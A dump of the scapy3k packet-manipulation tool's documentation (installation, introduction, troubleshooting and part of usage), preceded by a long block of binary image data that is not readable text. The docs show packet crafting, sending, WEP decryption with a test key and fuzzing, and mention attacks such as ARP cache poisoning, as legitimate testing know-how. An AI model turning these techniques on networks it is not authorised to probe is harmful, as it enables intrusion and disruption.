7˷MtrHMF˧p-_.eyزݧGZ $9*fQ)>azgg8ܷ׎MIXD_8o6MGy:Qe=ڐT'z4E~j팑ŋ_хbUbUb%F(N>Sc܇0 [YMOfm,Gߠ$!}ۣ|ȹ"Foյ8`~r&Ö,G+[n# Jz(j$C(ҐVZի3el 0=g̊bD;F]Đ}{ h5g}=}xFc .fg9+GvMHQ=&$6$as0NV= .벚mHS,mf /Zfjb?Y幠=vN3$0 ׮]3elH 0`L##F$PBk ΝMn%?gK!@R6uֵZvC[)-b۲瞺<ԣǽ=Mf0 I26-L>%}vp|4H\v7M=K##3Vj$эGtՑ,=(6W\sdlH 0}b_I4! O))R 5EF m3Æ fluH(/}d(QB>#3`Cbہ@Ǔ&x;#b:GF@ ?/JGoܸj586Jlt~{eFz}:GfaǯG۽q܊VsZ׋zU+2Q rӞvEH:ji0 '(4@%6%t 3`Cb7K Iߌf 2Qn>V?eDGreE=>U[,}mmHBْ͛7$q˱Z-Ħ\{;;fU6app0&/no!Fԣ,}ֿ"h̑@ d͛7~ܖshvI6haE_aÆ3 af`x%SQjz9 mH'߿v=Սt,<ph;KlTjƍu>fÆ0 3`n2D2{h zteo?v HUGgŒ,B"mŋدPߨY t*mz( ZVբ(b=+V\O|SOlH 03@NlĩB~|ɭQk Mrnm޶.&-yņGoA3?OOG]>%g=$I7"GO9u af+sE\6e_-%t.2x>% ߁UijYfhh$҄ e Í >i|g&Np0 3.e#rZ]elh4v@q俘:Whd<־ӀDf=k֬vyg6İ"['T,?~Om!1 l}7}$ eyaWٚ@?MegUP+##[b*q饗2=+* 跲,;c>>)†0 3˲N>+2\?Bs#Ίn$CHOIR 8sݬ]h1k>+2H_sKƓ:LBoӝ lH 03;@4K(HF#fL-eK=$ŝd~jժF MS=zȗ9%&O6$aA 9ɡlBզ1 {(ԣ_=~GgH6m{?FAN#a Io}[g afɐ`MẂlJ!=i%=۝OBѭOk/}1lXvm&k?&9UIn<ș> 0=͚Z\RnsE>ww-?#2Cbڌ'3 V0VZ%;ӣ0\䗭VkϾ;ؐaE]>ktAǍFmP_6 It"e-T0lBfCimHȰ"\,QZGvڙUaCb;VQePaJeo~sQ6CpfHygEF2@ =e3ʕ+ez$dPHN<]1@'Qeo\2*w!g#9Gokm&kam><\ mz`So?Ƚ*s՝TG `vIrE/}֣*,jZy/䒙] 0K/jFtDL?I'Ã=y6>\ѭvoRUүJr''8;XAq>ߕ \y$13"\ec=֭7$ÊoHIeO8!y7ynkmFbU0j_HQ$MN$A$zioMiEӗeYEC^p0 c q(}+oK}{yH4@xv\tږx$;_i s+FĜ;(ƟN$)O#3̊H8Cb?Om)Us1YZjj69Qd>9RRhڗ!Ma[T!*I 4 PHF~4z?IbH:@fzt3$aް~zۊQGsJtsLȕFhmPiWɊ:$:rHƀAoR>NDB[aAGp0 ]S<6Rbzԧ"?w&,D~/=I7Q %V/ tGm@HV[Z/$-]`Gfzt a[ξaTף7ypGYcauTB|ܺ}ң<˲?ǬSn : #4i$I(ʲ,M~4{Ş9p!1 Lj/$iHW ]_KtjmBb ycv<ZDkDQHDt];.9ɐ^ѿے?Tn +-}HlH 0/Byn`:fHUn6#W:ꨣV^]'KlEٴO?(CDXx̵2%IFJ䌎l%2LtjkֳQR$V"*Cy MlH 0Dr:%cCc} 7KfŊDB o_Dzy.AϢ$2D''TH3@\EVmH6KJ$:PP1d{[G=ޡ ig>UؐaΊ+*~ѻu- dZd;FZre?y/_(e"(1G$+O:\$\VDw2K`IRʐ MS:tQQN*nOשJK[|\ʁ .lH 0S /[%6!T;in ߢGr%'7^pp|X! /_9vQ)I2 Ē^X^$Io1VvY)AUz_~Ɇ0 3Ŗ;!Jw/a7jm;JŖpgH/^lMD{q)I̍c"$#7EI=ھ#XnFfZG#C/'¤5ko-o<:ُN70 (jB afdgH>O5!":UxJ^׿>-7K/8ӓ^sҤeH3rA}O=8xK.D,7ҹx3tN.ƞuZ0 H=KNrfIv(Ii= af$IZE \,3${gl%by;S UC~&BQD"FSX|{\}HƱ] !&  uT^+M , gY?A]צ\.oa;urI96HDbAA0Oc 6y}7sۣ> IDATCWVvU͇w~.OXlfH<%z}9%fx"ڏy FN*v#r睿$ l7C < 6o<<0$" CaHFcMb1OC!)ѝ}h$U*O|ߏHEj8VN{^Y5&ՈTV˖lF⥽ڊ\p[~Dv58ϗ:~y]`d? ]/x CؐHڌIFYpoQHC)ڱ F2Hwt:g_<6!灭GxY4xiP$'?^|F󲓬-96cgoD9H/=LN#č}BE2TJ=hU9Fb_$oX4\P5mHv c!i4d/$K]%6"\MƁ zx|1;p2$e7_=CD/ ;],$%HAVXŔT+;ޒ2W1G-ǜfQz+_۫鋧`$3?/x۷_p+H 2mĖMH[l)y ;L6$nֿW߈q  cNdHvvEF"1ru[۞46W'ǎYIJTȐyˋhSwQ"jyy26ӦED3mܸQ{{w7uL+_s*]D"OcJnw3Ka/UG?.10$"ڐ/&鑬V$Ie\8PGw5-[Y5WIDD$`_&O>=ܽDibI+kٜ$_o䏉c 6T*=lZV/˿KR^BԐ3سgϊ+8ɚ !+n%OQm۶!gLmHa'IEւ $<+!z}Ͼׯ+NY6mVIvya/(tK FS=u骱!&}?mg!Oq&n`؜6m!)ЖGqnq!+koxiNc ۷if i73Ov*H#!IMV$>a}g^/y!ah <$_'LDx =C=4q貥wi;8{â椾>Œzĥ\Ǐ^1;By=o˱c˗/jJ"J?}ԙO~Zg,R4ɪyb <ͩD\$=c mMy&QNoMs+@w\a0tq)Fn$<z*;IC6p^|ܽ+s#iKQQMf#H+Vh4WӊsdG\Ò$g?{5אn Pb C.cdd$ZVՔg0Hm۶ cį8$"FrbC">w>ߖS7)]BL2$ddIퟯ!*,~[sJyy'1:zRZKlw%6!@ã)-[V&@bkw=p:џDXeHF$%)J7o&$;^%CYT"ڝڔ͐ʿWV'CA;D/^l8@9="!B[dh;$ܒ0$&1b+ A[Wٚӓ9Gi&!@cG8FZJdߴ$DT IQBnN8=21װLq}PVPbH=Fi7=(RoK>ַ70 06M~d~ʰ2u$ 92"]bcPb3@7$QHTK$;F%6rHO) $yoڈrs=Wٌ @.=ү7FiGie%Pw[< C3p4"'k7IEni($>( =wjs 0\{wf 0$aя~tZN]2$==D2G|S|?6$@jG H^QIyz$#ʆI^y7'ڹ3F~ٍBĦ p?^4F&J8{8VJ]zAPT>O|^H2IlB2$#@%6#@bCzC';1&[wACc&h -Q*Q,I6’䬯Ƀ(g -FNI!I<$ 53C.yQc ROMcPeГ %Q#ű6D?Gmy`ٖnD'qm< m~C#Jw۵kya{31z{l z 7[72>ҭ.lR@T!u׿qn$mkPݚ-3O}sk#{Gdؒ6$c!,\Y):!A´H!Jں6)FD5(8I %)vͻ&$~~}#gdK~هxXv R-oa8р!5~֣(- )Dxmw߻ j\M3@8Ȁ5.(x 2$[$ !5qR7sߢFÑpl1:6w^mc/!izRRT*%H(1OH\xᅍFCGSF$ePFDrY+!C!5tw6G((Qjj% >=4DRΟGb"":L?DDazkv9Kl[tׯ];:>5ۈmqѱz{DIJ%wszd,f' -} k´"0$]Fr[-+W6F)F"-[w-kqU6l\ED^_PbknuFD6ɨt}i[8Y8gKccCahlӖ]ّG O{CՉxFwNmD((%6GJ,T[x`Reoe(![aB@YB] @+)"ԣ&)xhh]8F\ |(Oq56߯!}jtNdG #EQ~9D5"Z8wc;ۉ)nyb$ΙїPt+k3zf#< wa~IT#y5?zgl?勑|>жt7[gdHR $ EuD)E۴;RjD*(FR*!嶴ʎ)ӳ};#c#mF/-۝:.УIz;[vтխT'#D`Ho_Ha$4miQ& ,;O'k)L(6>_!EM7bNmobRgeHN7 4׎[I#t"cJdAf¢$2D?RfQqÓg0馛f\{ٙq:P;@*'Y`HΝL( Q5~UU"aIQٳ"#'G[Nq~chc4> CwawwmR݂'_&kHRZ[Ոu@C0-lڴVygwazt#AQQ__'> yϿ G~ud|~e$25pQvb-Ik)IV.Ԑ O': D6lPT$ҐL(&_jz_\m9J@?!C|0\ɊU#|pj2$?eua1ߐ*6oLD2@r7]Qޓ R}}}Z/5;w\Z~ eO&'>eLT8SL?yZGlI>,nmEAا*80'7R#zA&$KfCR8#3gHV HiMG$.N\`Hmݦ(نTF%$u6m~ar0)'IU@RR岢Hgf2NDY7ҶTFxAC$/}_ԗ`Hڋ#JWgHqNvSC2}ݿ;E ۷GXhe:MFDTk+OrZs5ggRCb`H QbҐ)JBBm٢\sYtԼ ikRCN([嘗$92CFL JfH212bJ$PGI/0Q(HF:H0$?!麶fJCN(:ňHe2$~;%ŝ4 ֟~(p)~xgBڇbƇ$NTtto?"K &7$$m*4%^ϡ!h'a~^tRvKe%v@ vR]#C!I3L C(!Y\=ct*pR6$i3CUinIRh -y; D24LOsE|cD!QPD< !Fv ?^p-I)6$f{RAk>.n8gn4YK{B&1lk920*kgJ%*J]Nw6`H |yH؆GybMʐ.,'wKT-jj; 9.$I.}H5# 'UʻN{׮gw)/}Kh`"n3ûݍ*}fd.>-^X/=@4L4L4u#e=,IƍO;$I?xij#^@4 ?e'$9 [·I6_D=T Xpe i[FISI= sr$QiP& %$Êz2IBphdH8 =2bc'ws(y*xY2$fg&ٛQ@\D%$ITA$^CNFLNrֹqh=ṲJ'ɤjE7c2x2:"mVԪ$PI @;馛H+Ȋp炄b"RlOmv'$IDҊKRS%IϚ5k#F7JًٲPTjZV#"|Z[=3ȳ e+үm5`قe>^:>ݓԒFO:z^TtaHZM::Sno4EFd}Y-G,[(()y$D>~@Dvgw FvGxyGL^Dٮ }` UվZ622"[sR$Ʃd(߿yYD IJq_Kvn$dH~ Yk˛iwlEixxXW^YBF8L\e"IJ4Cϙ=I6N;mĦU&CgͰVzg 9#֦O( ' 9`wm_fs2 ;W9$9%&O f" ;#+]&zqY KRĬGW| 4rsMͮ%bk[g!O|jZǍqe^+w5y3~fe ^/~Z 4jժ9sQvѾ!Il3MH#UF༊I|ߗzǵZm۶m3uf5k֬Xb:܍*id޽###L1F.M4ohBw7.vsf}Miv >(KR,v[- ݁$wkB,>SN̚5k]'I /^ysFvp}[ARk$cd^v{ͻCF]UnC`&8|0Ia%Okn?O^~!ߗVF]$@'tݪ!QRyΝKDbT2'}).Y_{饗N9x|[u ']-[%lMcu!l׮]+VVV̞k;vLuG'r `vXxqqynz/;묳jKMFݻ[OKΝ;b& lx⦯a=-i~`[ -[V2@]j*{(IݢGCɼo[//jZ}GEvy`_ license. The document is under review to update from scapy to scapy3k. Some code samples may not work directly with scapy3k - usually change of str() to bytes() or 'some string' to b'some string' fixes the problem. .. toctree:: :maxdepth: 2 introduction installation usage advanced_usage automotive_usage extending build_dissect troubleshooting development backmatter scapy-0.23/doc/scapy/installation.rst000066400000000000000000000116351320561231000176730ustar00rootroot00000000000000.. highlight:: sh ************************* Download and Installation ************************* Overview ======== 0. Install *Python 3.x*. 1. Install *Scapy* using pip or by cloning/installing from git. 2. (For non-Linux platforms): Install *libpcap and libdnet* and their Python wrappers. 3. (Optional): Install *additional software* for special features. 4. Run Scapy with root priviledges. Each of these steps can be done in a different way dependent on your platform and on the version of Scapy you want to use. This document is for scapy3k. It requires python 3.x. See `original scapy homepage _` for Scapy v2.x or earlier. .. note:: In scapy3k and Scapy v2.x use ``from scapy.all import *`` instead of ``from scapy import *``. Installing scapy3k ===================== The following steps describe how to install (or update) Scapy itself. Dependent on your platform, some additional libraries might have to be installed to make it actually work. So please also have a look at the platform specific chapters on how to install those requirements. .. note:: The following steps apply to Unix-like operating systems (Linux, BSD, Mac OS X). Windows, currently is under development. Make sure you have `Python `_ installed before you go on. Depending on your system you may have to use python3 and pip3 or python and pip for python version 3.x. Latest release -------------- The easiest way to install the latest scapy3k package is using `pip `_.:: $ pip3 install scapy-python3 Current development version ---------------------------- Clone `GitHub repository `_ to a temporary directory and install it in the standard `distutils `_ way:: $ cd /tmp $ git clone https://github.com/phaethon/scapy $ cd scapy $ sudo python3 setup.py install .. index:: single: git, repository If you always want the latest version with all new features and bugfixes, use Scapy's GitHub repository: 1. Install `git `_ version control system. For example, on Debian/Ubuntu use:: $ sudo apt-get install git 2. Check out a clone of Scapy's repository:: $ git clone https://github.com/phaethon/scapy 3. Install Scapy in the standard distutils way:: $ cd scapy $ sudo python3 setup.py install Then you can always update to the latest version:: $ git pull $ sudo python3 setup.py install Optional software for special features ====================================== * WEP decryption. ``unwep()`` needs `cryptography `_. Example using a `Weplap test file `_: .. code-block:: python >>> enc=rdpcap("weplab-64bit-AA-managed.pcap") >>> enc.show() >>> enc[0] >>> conf.wepkey=b"AA\x00\x00\x00" >>> dec=Dot11PacketList(enc).toEthernet() >>> dec.show() >>> dec[0] * `ipython `_. For interactive sessions using ipython can be great advantage. Install using pip3 or from your package manager * `Graphviz `_. For some visualizations, e.g. traceroute graph, dot is required on the PATH * `Matplotlib `_. Required for interactive plot/graph viewing. * `Networkx `_. Conversations can be converted to Networkx graph if library is present. * `PyX `_. To create PostScript, PDF and SVG files. * `LaTeX `_. To create PostScript and PDF files. Platform-specific instructions ============================== Linux native ------------ Scapy can run natively on Linux. I does not require libdnet and libpcap. * Install python3 from your package manager if it is not already present * Install `tcpdump `_ and make sure it is in the $PATH. (It's only used to compile BPF filters (``-ddd option``)) * Make sure your kernel has Packet sockets selected (``CONFIG_PACKET``) * If your kernel is < 2.6, make sure that Socket filtering is selected ``CONFIG_FILTER``) Debian/Ubuntu ------------- Just use the standard packages:: $ sudo apt-get install tcpdump python3-crypto ipython3 Mac OS X -------- This section needs updating. In general installing python3, pip for python3, libpcap, libdnet, scapy3k using pip package scapy-python3 should do the job. Corrections are welcome... Windows ------- Scapy works on Windows 8/2012 and newer version. Unlike earlier versions libdnet is not required. Testing is being done on following configuration: Windows 10/Anaconda 3.5/WinPcap 4.1.3 On Windows 7 (and possibly earlier) scapy can be used for offline packet crafting/dissection. Sniffing and sending requires manual setting of network interface information and routing as corresponding powershell cmdlets used to gather this information are not working on Windows 7. scapy-0.23/doc/scapy/introduction.rst000066400000000000000000000255661320561231000177230ustar00rootroot00000000000000************ Introduction ************ .. sectionauthor:: Philippe Biondi About Scapy =========== Scapy is a Python program that enables the user to send, sniff and dissect and forge network packets. This capability allows construction of tools that can probe, scan or attack networks. In other words, Scapy is a powerful interactive packet manipulation program. It is able to forge or decode packets of a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more. Scapy can easily handle most classical tasks like scanning, tracerouting, probing, unit tests, attacks or network discovery. It can replace hping, arpspoof, arp-sk, arping, p0f and even some parts of Nmap, tcpdump, and tshark). .. image:: graphics/testing-taxonomy.* :scale: 50 Scapy also performs very well on a lot of other specific tasks that most other tools can't handle, like sending invalid frames, injecting your own 802.11 frames, combining techniques (VLAN hopping+ARP cache poisoning, VOIP decoding on WEP encrypted channel, ...), etc. The idea is simple. Scapy mainly does two things: sending packets and receiving answers. You define a set of packets, it sends them, receives answers, matches requests with answers and returns a list of packet couples (request, answer) and a list of unmatched packets. This has the big advantage over tools like Nmap or hping that an answer is not reduced to (open/closed/filtered), but is the whole packet. On top of this can be build more high level functions, for example one that does traceroutes and give as a result only the start TTL of the request and the source IP of the answer. One that pings a whole network and gives the list of machines answering. One that does a portscan and returns a LaTeX report. What makes Scapy so special =========================== First, with most other networking tools, you won't build someting the author did not imagine. These tools have been built for a specific goal and can't deviate much from it. For example, an ARP cache poisoning program won't let you use double 802.1q encapsulation. Or try to find a program that can send, say, an ICMP packet with padding (I said *padding*, not *payload*, see?). In fact, each time you have a new need, you have to build a new tool. Second, they usually confuse decoding and interpreting. Machines are good at decoding and can help human beings with that. Interpretation is reserved to human beings. Some programs try to mimic this behaviour. For instance they say "*this port is open*" instead of "*I received a SYN-ACK*". Sometimes they are right. Sometimes not. It's easier for beginners, but when you know what you're doing, you keep on trying to deduce what really happened from the program's interpretation to make your own, which is hard because you lost a big amount of information. And you often end up using ``tcpdump -xX`` to decode and interpret what the tool missed. Third, even programs which only decode do not give you all the information they received. The network's vision they give you is the one their author thought was sufficient. But it is not complete, and you have a bias. For instance, do you know a tool that reports the Ethernet padding? Scapy tries to overcome those problems. It enables you to build exactly the packets you want. Even if I think stacking a 802.1q layer on top of TCP has no sense, it may have some for somebody else working on some product I don't know. Scapy has a flexible model that tries to avoid such arbitrary limits. You're free to put any value you want in any field you want, and stack them like you want. You're an adult after all. In fact, it's like building a new tool each time, but instead of dealing with a hundred line C program, you only write 2 lines of Scapy. After a probe (scan, traceroute, etc.) Scapy always gives you the full decoded packets from the probe, before any interpretation. That means that you can probe once and interpret many times, ask for a traceroute and look at the padding for instance. Fast packet design ------------------ Other tools stick to the **program-that-you-run-from-a-shell** paradigm. The result is an awful syntax to describe a packet. For these tools, the solution adopted uses a higher but less powerful description, in the form of scenarios imagined by the tool's author. As an example, only the IP address must be given to a port scanner to trigger the **port scanning** scenario. Even if the scenario is tweaked a bit, you still are stuck to a port scan. Scapy's paradigm is to propose a Domain Specific Language (DSL) that enables a powerful and fast description of any kind of packet. Using the Python syntax and a Python interpreter as the DSL syntax and interpreter has many advantages: there is no need to write a separate interpreter, users don't need to learn yet another language and they benefit from a complete, concise and very powerful language. Scapy enables the user to describe a packet or set of packets as layers that are stacked one upon another. Fields of each layer have useful default values that can be overloaded. Scapy does not oblige the user to use predetermined methods or templates. This alleviates the requirement of writing a new tool each time a different scenario is required. In C, it may take an average of 60 lines to describe a packet. With Scapy, the packets to be sent may be described in only a single line with another line to print the result. 90\% of the network probing tools can be rewritten in 2 lines of Scapy. Probe once, interpret many -------------------------- Network discovery is blackbox testing. When probing a network, many stimuli are sent while only a few of them are answered. If the right stimuli are chosen, the desired information may be obtained by the responses or the lack of responses. Unlike many tools, Scapy gives all the information, i.e. all the stimuli sent and all the responses received. Examination of this data will give the user the desired information. When the dataset is small, the user can just dig for it. In other cases, the interpretation of the data will depend on the point of view taken. Most tools choose the viewpoint and discard all the data not related to that point of view. Because Scapy gives the complete raw data, that data may be used many times allowing the viewpoint to evolve during analysis. For example, a TCP port scan may be probed and the data visualized as the result of the port scan. The data could then also be visualized with respect to the TTL of response packet. A new probe need not be initiated to adjust the viewpoint of the data. .. image:: graphics/scapy-concept.* :scale: 80 Scapy decodes, it does not interpret ------------------------------------ A common problem with network probing tools is they try to interpret the answers received instead of only decoding and giving facts. Reporting something like **Received a TCP Reset on port 80** is not subject to interpretation errors. Reporting **Port 80 is closed** is an interpretation that may be right most of the time but wrong in some specific contexts the tool's author did not imagine. For instance, some scanners tend to report a filtered TCP port when they receive an ICMP destination unreachable packet. This may be right, but in some cases it means the packet was not filtered by the firewall but rather there was no host to forward the packet to. Interpreting results can help users that don't know what a port scan is but it can also make more harm than good, as it injects bias into the results. What can tend to happen is that so that they can do the interpretation themselves, knowledgeable users will try to reverse engineer the tool's interpretation to derive the facts that triggered that interpretation. Unfortunately much information is lost in this operation. Quick demo ========== First, we play a bit and create four IP packets at once. Let's see how it works. We first instantiate the IP class. Then, we instantiate it again and we provide a destination that is worth four IP addresses (/30 gives the netmask). Using a Python idiom, we develop this implicit packet in a set of explicit packets. Then, we quit the interpreter. As we provided a session file, the variables we were working on are saved, then reloaded:: # ./scapy.py -s mysession New session [mysession] Welcome to Scapy (0.9.17.108beta) >>> IP() >>> target="www.target.com" >>> target="www.target.com/30" >>> ip=IP(dst=target) >>> ip |> >>> [p for p in ip] [, , , ] >>> ^D :: # scapy -s mysession Using session [mysession] Welcome to Scapy (0.9.17.108beta) >>> ip |> Now, let's manipulate some packets:: >>> IP() >>> a=IP(dst="172.16.1.40") >>> a >>> a.dst '172.16.1.40' >>> a.ttl 64 Let's say I want a broadcast MAC address, and IP payload to ketchup.com and to mayo.com, TTL value from 1 to 9, and an UDP payload:: >>> Ether(dst="ff:ff:ff:ff:ff:ff") /IP(dst=["ketchup.com","mayo.com"],ttl=(1,9)) /UDP() We have 18 packets defined in 1 line (1 implicit packet) Sensible default values ----------------------- Scapy tries to use sensible default values for all packet fields. If not overriden, * IP source is chosen according to destination and routing table * Checksum is computed * Source MAC is chosen according to the output interface * Ethernet type and IP protocol are determined by the upper layer .. image:: graphics/default-values-ip.png :scale: 60 Other fields’ default values are chosen to be the most useful ones: * TCP source port is 20, destination port is 80. * UDP source and destination ports are 53. * ICMP type is echo request. Learning Python =============== Scapy uses the Python interpreter as a command board. That means that you can directly use the Python language (assign variables, use loops, define functions, etc.) If you are new to Python and you really don't understand a word because of that, or if you want to learn this language, take an hour to read the very good `Python tutorial `_ by Guido Van Rossum. After that, you'll know Python :) (really!). For a more in-depth tutorial `Dive Into Python `_ is a very good start too. For a quick start, here's an overview of Python's data types: * ``int`` (signed, 32bits) : ``42`` * ``long`` (signed, infinite): ``42L`` * ``str`` : ``"bell\x07\n"`` or ``’bell\x07\n’`` * ``tuple`` (immutable): ``(1,4,"42")`` * ``list`` (mutable): ``[4,2,"1"]`` * ``dict` (mutable): ``{ "one":1 , "two":2 }`` There are no block delimiters in Python. Instead, indendation does matter:: if cond: instr instr elif cond2: instr else: instr scapy-0.23/doc/scapy/troubleshooting.rst000066400000000000000000000065621320561231000204240ustar00rootroot00000000000000*************** Troubleshooting *************** .. note:: This section has not been updated for scapy3k yet. Code examples may not work directly. Try bytes() instead of str() and b'string' instead of b'somestring'. FAQ === My TCP connections are reset by Scapy or by my kernel. ------------------------------------------------------ The kernel is not aware of what Scapy is doing behind his back. If Scapy sends a SYN, the target replies with a SYN-ACK and your kernel sees it, it will reply with a RST. To prevent this, use local firewall rules (e.g. NetFilter for Linux). Scapy does not mind about local firewalls. I can't ping 127.0.0.1. Scapy does not work with 127.0.0.1 or on the loopback interface --------------------------------------------------------------------------------------- The loopback interface is a very special interface. Packets going through it are not really assembled and dissassembled. The kernel routes the packet to its destination while it is still stored an internal structure. What you see with tcpdump -i lo is only a fake to make you think everything is normal. The kernel is not aware of what Scapy is doing behind his back, so what you see on the loopback interface is also a fake. Except this one did not come from a local structure. Thus the kernel will never receive it. In order to speak to local applications, you need to build your packets one layer upper, using a PF_INET/SOCK_RAW socket instead of a PF_PACKET/SOCK_RAW (or its equivalent on other systems that Linux):: >>> conf.L3socket >>> conf.L3socket=L3RawSocket >>> sr1(IP(dst="127.0.0.1")/ICMP()) > BPF filters do not work. I'm on a ppp link ------------------------------------------ This is a known bug. BPF filters must compiled with different offsets on ppp links. It may work if you use libpcap (which will be used to compile the BPF filter) instead of using native linux support (PF_PACKET sockets). traceroute() does not work. I'm on a ppp link --------------------------------------------- This is a known bug. See BPF filters do not work. I'm on a ppp link To work arround this, use ``nofilter=1``:: >>> traceroute("target", nofilter=1) Graphs are ugly/fonts are too big/image is truncated. ----------------------------------------------------- Quick fix: use png format:: >>> x.graph(format="png") Upgrade to latest version of GraphViz. Try providing different DPI options (50,70,75,96,101,125, for instance):: >>> x.graph(options="-Gdpi=70") If it works, you can make it permanenent:: >>> conf.prog.dot = "dot -Gdpi=70" You can also put this line in your ``~/.scapy_startup.py`` file Getting help ============ Common problems are answered in the FAQ. There's a low traffic mailing list at ``scapy.ml(at)secdev.org`` (`archive `_, `RSS, NNTP `_). You are encouraged to send questions, bug reports, suggestions, ideas, cool usages of Scapy, etc. to this list. Subscribe by sending a mail to ``scapy.ml-subscribe(at)secdev.org``. To avoid spam, you must subscribe to the mailing list to post.scapy-0.23/doc/scapy/usage.rst000066400000000000000000002016611320561231000162760ustar00rootroot00000000000000***** Usage ***** .. note:: This section has been partially updated for scapy3k. Some code examples may not work directly. Try bytes() instead of str() and b'string' instead of b'somestring'. Starting Scapy ============== Scapy's interactive shell is run in a terminal session. Root privileges are needed to send the packets, so we're using ``sudo`` here:: $ sudo scapy INFO: Please, report issues to https://github.com/phaethon/scapy WARNING: IPython not available. Using standard Python shell instead. Welcome to Scapy (3.0.0) >>> If you have installed IPython this is an example Scapy startup:: $ sudo scapy INFO: Please, report issues to https://github.com/phaethon/scapy Python 3.4.2 (default, Jul 9 2015, 17:24:30) Type "copyright", "credits" or "license" for more information. IPython 2.4.1 -- An enhanced Interactive Python. ? -> Introduction and overview of IPython's features. %quickref -> Quick reference. help -> Python's own help system. object? -> Details about 'object', use 'object??' for extra details. Welcome to Scapy (3.0.0) using IPython 2.4.1 In [1]: If you do not have all optional packages installed, Scapy will inform you that some features will not be available:: INFO: Can't import matplotlib. Not critical, but won't be able to plot. INFO: Can't import networkx. Not criticial, but won't be able to draw network graphs. INFO: Can't import PyX. Won't be able to use psdump() or pdfdump(). The basic features of sending and receiving packets should still work, though. Interactive tutorial ==================== This section will show you several of Scapy's features. Just open a Scapy session as shown above and try the examples yourself. First steps ----------- Let's build a packet and play with it:: >>> a=IP(ttl=10) >>> a < IP ttl=10 |> >>> a.src ’127.0.0.1’ >>> a.dst="192.168.1.1" >>> a < IP ttl=10 dst=192.168.1.1 |> >>> a.src ’192.168.8.14’ >>> del(a.ttl) >>> a < IP dst=192.168.1.1 |> >>> a.ttl 64 Stacking layers --------------- The ``/`` operator has been used as a composition operator between two layers. When doing so, the lower layer can have one or more of its defaults fields overloaded according to the upper layer. (You still can give the value you want). A string can be used as a raw layer. :: >>> IP() >>> IP()/TCP() > >>> Ether()/IP()/TCP() >> >>> IP()/TCP()/b"GET / HTTP/1.0\r\n\r\n" >> >>> Ether()/IP()/IP()/UDP() >>> >>> IP(proto=55)/TCP() > .. image:: graphics/fieldsmanagement.* :scale: 90 Each packet can be build or dissected (note: in Python ``_`` (underscore) is the latest result):: >>> bytes(IP()) b'E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01' >>> IP(_) >>> a=Ether()/IP(dst="www.slashdot.org")/TCP()/b"GET /index.html HTTP/1.0 \n\n" >>> hexdump(a) 00 02 15 37 A2 44 00 AE F3 52 AA D1 08 00 45 00 ...7.D...R....E. 00 43 00 01 00 00 40 06 78 3C C0 A8 05 15 42 23 .C....@.x<....B# FA 97 00 14 00 50 00 00 00 00 00 00 00 00 50 02 .....P........P. 20 00 BB 39 00 00 47 45 54 20 2F 69 6E 64 65 78 ..9..GET /index 2E 68 74 6D 6C 20 48 54 54 50 2F 31 2E 30 20 0A .html HTTP/1.0 . 0A . >>> b=bytes(a) >>> b b'\x00\x02\x157\xa2D\x00\xae\xf3R\xaa\xd1\x08\x00E\x00\x00C\x00\x01\x00\x00@\x06x<\xc0 \xa8\x05\x15B#\xfa\x97\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00 \xbb9\x00\x00GET /index.html HTTP/1.0 \n\n' >>> c=Ether(b) >>> c >>> We see that a dissected packet has all its fields filled. That's because I consider that each field has its value imposed by the original string. If this is too verbose, the method hide_defaults() will delete every field that has the same value as the default:: >>> c.hide_defaults() >>> c >>> Reading PCAP files ------------------ .. index:: single: rdpcap() You can read packets from a pcap file and write them to a pcap file. >>> a=rdpcap("/spare/captures/isakmp.cap") >>> a Graphical dumps (PDF, PS) ------------------------- .. index:: single: pdfdump(), psdump() If you have PyX installed, you can make a graphical PostScript/PDF dump of a packet or a list of packets (see the ugly PNG image below. PostScript/PDF are far better quality...):: >>> a[423].pdfdump(layer_shift=1) >>> a[423].psdump("/tmp/isakmp_pkt.eps",layer_shift=1) .. image:: graphics/isakmp_dump.png ======================= ==================================================== Command Effect ======================= ==================================================== bytes(pkt) assemble the packet hexdump(pkt) have an hexadecimal dump ls(pkt) have the list of fields values pkt.summary() for a one-line summary pkt.show() for a developped view of the packet pkt.show2() same as show but on the assembled packet (checksum is calculated, for instance) pkt.sprintf() fills a format string with fields values of the packet pkt.decode_payload_as() changes the way the payload is decoded pkt.psdump() draws a PostScript diagram with explained dissection pkt.pdfdump() draws a PDF with explained dissection pkt.command() return a Scapy command that can generate the packet ======================= ==================================================== Generating sets of packets -------------------------- For the moment, we have only generated one packet. Let see how to specify sets of packets as easily. Each field of the whole packet (ever layers) can be a set. This implicidely define a set of packets, generated using a kind of cartesian product between all the fields. :: >>> a=IP(dst="www.slashdot.org/30") >>> a >>> [p for p in a] [, , , ] >>> b=IP(ttl=[1,2,(5,9)]) >>> b >>> [p for p in b] [, , , , , , ] >>> c=TCP(dport=[80,443]) >>> [p for p in a/c] [>, >, >, >, >, >, >, >] Some operations (like building the string from a packet) can't work on a set of packets. In these cases, if you forgot to unroll your set of packets, only the first element of the list you forgot to generate will be used to assemble the packet. =============== ==================================================== Command Effect =============== ==================================================== summary() displays a list of summaries of each packet nsummary() same as previous, with the packet number conversations() displays a graph of conversations show() displays the prefered representation (usually nsummary()) filter() returns a packet list filtered with a lambda function hexdump() returns a hexdump of all packets hexraw() returns a hexdump of the Raw layer of all packets padding() returns a hexdump of packets with padding nzpadding() returns a hexdump of packets with non-zero padding plot() plots a lambda function applied to the packet list make table() displays a table according to a lambda function =============== ==================================================== Sending packets --------------- .. index:: single: Sending packets, send Now that we know how to manipulate packets. Let's see how to send them. The send() function will send packets at layer 3. That is to say it will handle routing and layer 2 for you. The sendp() function will work at layer 2. It's up to you to choose the right interface and the right link layer protocol. :: >>> send(IP(dst="1.2.3.4")/ICMP()) . Sent 1 packets. >>> sendp(Ether()/IP(dst="1.2.3.4",ttl=(1,4)), iface="eth1") .... Sent 4 packets. >>> sendp("I'm travelling on Ethernet", iface="eth1", loop=1, inter=0.2) ................^C Sent 16 packets. >>> sendp(rdpcap("/tmp/pcapfile")) # tcpreplay ........... Sent 11 packets. Fuzzing ------- .. index:: single: fuzz(), fuzzing The function fuzz() is able to change any default value that is not to be calculated (like checksums) by an object whose value is random and whose type is adapted to the field. This enables to quicky built fuzzing templates and send them in loop. In the following example, the IP layer is normal, and the UDP and NTP layers are fuzzed. The UDP checksum will be correct, the UDP destination port will be overloaded by NTP to be 123 and the NTP version will be forced to be 4. All the other ports will be randomized:: >>> 